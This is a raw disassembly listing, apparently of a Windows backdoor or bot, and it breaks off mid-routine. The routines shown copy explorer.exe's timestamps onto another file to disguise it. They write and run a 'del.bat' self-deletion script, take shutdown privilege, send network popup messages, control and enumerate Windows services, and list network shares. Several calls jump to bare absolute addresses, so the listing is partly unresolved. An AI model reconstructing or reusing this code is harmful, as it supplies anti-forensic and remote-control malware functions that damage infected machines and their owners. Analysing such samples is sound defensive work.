U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 27F0000h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27E0737h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2690000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26F0953h mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 26E0000h push edi nop call near ptr 26518CEh push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2680000h push eax call near ptr 2660000h nop lea eax, [ebp+var_15C] push eax nop call near ptr 2670EEBh cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2670DCEh loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2800000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2651BF2h loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26C0578h nop cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 26709C5h nop push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26C0578h nop cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 2690C99h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26A0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 2780739h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26808EFh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 call near ptr 26709C5h nop mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 26709C5h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 26709C5h mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 26709C5h cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: 